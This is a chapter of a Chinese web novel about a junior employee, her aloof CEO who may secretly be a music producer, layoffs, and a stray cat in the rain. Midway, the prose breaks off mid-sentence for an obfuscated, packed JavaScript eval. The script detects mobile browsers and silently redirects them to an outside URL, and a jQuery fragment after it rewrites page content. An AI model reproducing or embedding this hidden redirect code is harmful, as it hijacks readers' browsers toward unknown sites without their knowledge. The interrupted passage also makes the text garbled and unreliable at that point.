她心脏一缩,慢慢旋身。
不速之客抱着深红的陶土花盆,呆头呆脑站在那儿。
是大秘书。
招月立刻眯起眼,把尴尬藏在笑脸后面。
“好巧,又碰见了。”
对方抬了抬花盆:“对啊,这不是厉总要种向日葵,让我拿家伙上来。”
种向日葵?
他们部门水深火热,顶头的大老板却优哉游哉摆弄花草。
而且,还撒手丢给底下人去干。
招月内心愤愤。
“是么,那你真是辛苦了。”
“不苦不苦,这点小事儿。”大秘书完全没听出她的暗讽,弯腰放下花盆,“哎,你刚才唱的歌挺好听,叫啥?”
有品位。
“叫……”招月刚要脱口而出,话锋却一转,“你要加入歌单吗?”
大秘书和厉总走得近。
万一他听到这首歌,顺藤摸瓜,先她一步发现Slowflow的真实身份……
不知道结果会怎样。
但,招月不想那样。
假设老板真的有秘密,还是她独享的好。
然而对方独自开朗:“厉总喜欢音乐,我顺便推给他。”
“……”
“……”
招月沉默,笑意不改。
大秘书摸不着头脑:“你可别让我哼歌识曲啊,我从小就五音不全。”
“叫《在同一片天空》。”
她身后的狐狸尾巴左摇右晃。
“记得和厉总说,是我推荐的。”
他学舌:“嗯,我推荐的。”
她纠正:“是云麓网络科技有限公司内容运营部二组员工小招推荐的。”
他无语:“小、小招推荐的……”
招月满意点头。
反正结果都是挨骂,都是有概率被优化,还不如直接嚣张到老板眼前。
时间拖得有点久,两人绕过天台上凌乱的旧家具,回到电梯间。
招月想起他抱着花盆时的评价,顺嘴问:“你以前听过我唱歌么?”
大秘书按过楼层:“没啊。”
“那刚才为什么说‘果然’?”
“不是厉总让你‘好好唱’吗。”
她刚才的发挥的确好到不得了。
可那明明是阴阳怪气,他居然误以为厉盛对她抱有期待。
招月:“呃……”
脑袋里少根筋才会理解成那个意思吧!
*
回去后,招月大口吞着薄巧酸奶,键盘敲得噼里啪啦。项目进度重新同步、抄送组长,也收到倪天凡的邮件跟进,她以为这事就算过去了。
然而,周五更不太平。
先是早上地铁里被挤得撞到门框,找不到罪魁祸首。再是踩点去工位发现一片肃穆,竟无一人开口说话。
招月揉了揉磕痛的头,给小秘书发微信打听。
小秘书:「一组的付付,让HR带走了,要做工作」
招月:「优化开始啦?」
小秘书:「拿最容易的开刀吧」
招月以为没人能容易过她,毕竟是敢让CEO湿漉漉的底层蜗牛。
付付犯了什么错……?
小秘书:「她好像在和技术部门的男人谈」
小秘书:「我看照片发现的,你别往外说啊」
招月立刻点开付付的朋友圈,温泉、滑雪、迪士尼,都是些享受假期的生活照。
恋爱中的人总想偷偷露出点痕迹,和爱豆一样。虽然她看不出端倪,但小秘书一定发现了什么。
怪他们没藏好。
入职之初,HR明明再三强调过云麓集团的办公室恋爱禁令。
——“还有一点,没写在合同上,但你必须注意。”
HR全程友善,带新员工领读合同,只有那句话时眉毛收紧。
——“不能和同事谈恋爱。”
招月当时不屑地摆了摆手。
不可能,绝对不可能。
上班四年,她待过电视台待过大厂,没见过谁能把领导同事看顺眼的。
招月继续敲字:「那他俩谁走?」
按照公司不成文的规定,恋爱双方只能留下一个人。
小秘书:「女生吧……」
她几乎明知故问。
干技术的工资高,理所应当保住位置,顺便给了内容部节省人力成本的理由。
武总一向讲究效率,就连优化也如此之快。
“唉。”
招月叹了口气。
难道这时候应该庆幸么?
传闻裁掉一半人,现在付付走了,剩下的多了一丝生存的可能。
可为了男人抛掉工作真的值得吗?还是说,他们交往之初已经预见了今天的后果?也许她有更好的去处吧,更清闲,工资更高,没准还能上四休三……
招月瞄了眼窗户。
方方正正框出一片阴暗天色。
如果换作讨厌的男同事被发现在办公室恋爱就好了。
工作交接得乱七八糟,一副吊儿郎当的样子,生怕别人不知道他名校海归心比天高的脾气。
只可惜——
「老婆今天生,致敬英雄母亲!」
倪天凡今早发了和妻子的牵手照,朋友圈里广而告之。
没想到这样的人都能当爹了。
他的小孩知道公司里无辜的同事给他背锅挨骂吗?
“……”
胸口又闷闷的。招月摸摸挡板上的拍立得,看着偶像理理的甜蜜笑容,怪自己心眼是不是太小。
她为此忏悔一秒钟。
一秒后,九点整,打开EN,入职以来从未闪烁过的武总的头像突然扎进眼睛。
武岚:「倪天凡请6天病假,下个月开会用的视频你暂时接手,下午给我第一版」
大厦外狂风呼啸而过。
病假。
六天。
下午就要。
招月抓起头发一顿疯狂乱抓。
倪天凡倪天凡,你可真会给我添麻烦啊!
*
周五堪称一周里最令人垂涎的日子。
而结局,果然是留下加班。
招月不是没抗争过。
她拐弯抹角想让小秘书提醒武总“倪天凡其实没病”,但害怕对方夹在中间难办,遂放弃。
她试图物色新工作,但app首页刷到帖子,说内推岗月薪1.5W,费用“30个”,遂死心。
七点半,天黑了。
下午雨水暂歇,这会儿又淅淅沥沥落地。
招月抽空随便走走,在花园的回廊下举起僵硬的胳膊,让雨滴敲打皮肤。
好冷。
她安慰自己,雨天晚高峰交通更糟,晚点回去也好。
“喵——”
忽然,雨中传来一声猫叫。
一团黑色,中间搀白,优雅地踩着猫步向她靠近。
“小黑?”招月喊了它的名字。
奶牛猫喵着蹭过来,熟练地躺在她腿边翻肚皮。
她来不及躲,手忙脚乱翻出兜里小秘书送的粮,撕开口子放到地上。
“你、你饿了吗?我有带猫粮喔!”
招月觉得小黑其实很凶。
而且今天她穿了短裙,一点不敢动弹,只能心里祈祷着别伸爪子,别抓我的腿。
小猫嗅了嗅猫粮,脑袋果断钻进袋子。
还好。
它吃得喵喵叫,顾不上别的。
招月小退两步,低头盯着那条纯黑的毛尾巴发呆。
都说黑猫能招来好运。
那奶牛猫呢?
黑色里添了五分之一的白,估计喜忧参半。
那,她呢?
或许……
招月不止一次怀疑,当初拿到offer,是因为她的冷门姓氏。
大家都想招点好东西来,所以姥姥给她起名叫“月”。
那天面试,总监和HR大概也想转转运,才允许她在一众应聘者中幸存。
结果,事与愿违。
她只能招到霉运。
挨骂,加班,惹到CEO,连带着部门一起倒霉,惨遭优化。
雨声越来越密。
如果真的叫什么就来什么,她早改名招富招贵了……
“喵!”
专心铲着猫粮的小黑蓦地缩回了头。
猫的眼瞳,紧盯着秋天的雨雾。
雨水潮气晕染到耳际。
招月收起哀叹,随它朝雨中观望。
有人走过来。
撑着伞,颀长身形随意拨开雨幕,皮鞋踏进雨的涟漪。
清冷朦胧。
逐渐靠近。
七点四十了,还有同病相怜的加班同事么。
招月和猫都在廊下,滴滴答答的水帘隔成两个世界。
那人似乎想来避雨。
离回廊五步台阶之遥,黑色伞檐一晃。
透明的水珠飞过眼前。
招月才意识到——
不妙。
没等抬头,冰冷的问候已经从天上泼下。
“这么晚了,还没回家。”
“喵——”
小黑率先开口。
他在台阶下与她平视。招月又后退一小步,悻悻垂眼。
“厉总好,我……”
她趁着停顿迅速头脑风暴。
大秘书给他推荐了音乐,来警告我不要走漏风声?
那我是不是可以反客为主……
“加班。”招月说。
厉盛收了伞,迈上台阶。
伞面严密沉重,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560486|186944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在他手里却显得轻巧。
他折好伞,任由丝丝水雾没入衬衫领口。
雨打湿了西装和柑橘叶,冰凉苦涩的气息。
招月不明白为什么他不先走到廊下遮住雨水。
她想起大秘书的评价。
——“他有点古怪。”
不调成质数,就不播放音乐。
不收伞,就不上台阶。
也许吧。
“星期五有要紧的项目?”他问。
小黑见他走过来,谨慎地立直身子。
招月一只眼睛看猫,一只眼睛看他,没放过任何申冤的机会。
“我替同事忙,他今天请假。”
“是么。”
厉盛应了一声。
眼神一如既往的冷,看不出丝毫破绽。
唉。
招月今天已经叹了这辈子的气。
她假定厉总就是少女心制作人,才会听见《天空》有所反应。
可他真的是吗?
八字都没一撇。
“吃吧。”
他对着脚边的流浪猫说话。
小黑冲他喵了两下,好像有点害怕,服从命令继续鬼鬼祟祟铲粮。
有时候猫比人更读得懂气场。
厉盛低头注视着它,问:
“张瑞让你接同事的工作。”
“是武总。”
她回答,也看着小黑的一举一动。
同时承受两个人的视线,压力很大吧。
我也没有办法。
“这只猫待在附近多久了。”
话题总是跳跃,但无妨,她要圆满地答好每个问题。
“从我入职就在,有半年。”
“没人想过收养它么。”
“我们经理孙姐之前说过……但她已经两周没来上班了。”
她心底莫名涌上一股遗憾。
温度随着雨势蒸发。
回廊灯光像水纹漾开,把两人圈在黯淡的光晕里。
招月抱住胳膊,短裙下打颤的膝盖相互蹭了蹭。
“你……”
雨声模糊了厉盛的嗓音。
招月感觉他的视线好像捉住了她局促不安的双腿。
仅仅一瞬。
“不好意思?您可以重复一遍吗。”
“你说,它喜欢在野外生活……”
这次话语变得十分清晰。
“还是喜欢被养在家里。”
小黑吃完粮,躲到回廊的柱子旁边。
猫大多都讨厌水,它出不去,被迫舔舐着溅湿的毛。
招月朝左侧身,扬起头。
第一次没有装傻,没有堆起擅长的笑脸。
“它没得选,厉总。”
它只是一只猫。
而有时候,选择是一种特权。
厉盛的侧脸藏进阴影里。
她察觉到高高在上的冷冽目光似乎有片刻闪烁。
他一定讨厌被忤逆,但招月还是想说。
“我也没得选。”
因为同事的妻子在生产,在过鬼门关。因为总监把他的工作丢给了我。因为我工资的三分之一还给妈妈,三分之一交了房租。因为房东说禁止养宠物。因为就业市场已经糟糕透顶,每天通勤两小时四十分钟也必须坚持。
嘴上说着大不了辞职,事实却是我比任何人都想保住这份工作。
所以,我们没有选择。
“喵——”
在公司眼中,她这种小员工就和楼底下的猫一样,呼之即来,挥之即去。
“……”
他默然以对。
冷峻的冰面阻隔了她的呐喊。
是啊,有钱有地位还有闲心摆弄花草的老板怎么可能理解。
天冷得像深秋。招月咬住牙,掏出手机滑开微信,假装收到消息。
“抱歉厉总,我得赶回去继续加班。”
她没带伞,打算直直闯入雨幕。
和来时一样。
用愤懑冲撞雨水,不管多大雨。
“等等。”
下台阶时,那抹长柄的黑色蓦然横在她身前。
莫名一副对峙的场面。
他要干什么……
教训,还是让她不想工作就趁早滚?
雨里弥漫着焦躁的味道。
猫也在盯着他。
她们看见伞上的水滴滑向厉盛的手腕。
干净的指节潮湿淋漓。
以及——
无名指下方,洇在水里,一颗淡淡的小痣。
和采访视频中戴狐狸面具的制作人一模一样的位置。
招月霎时睁大双眼。
雨声喧嚣。
他递出雨伞,面无表情地抬起左手,看了眼时间。
“下周一,来我办公室还。”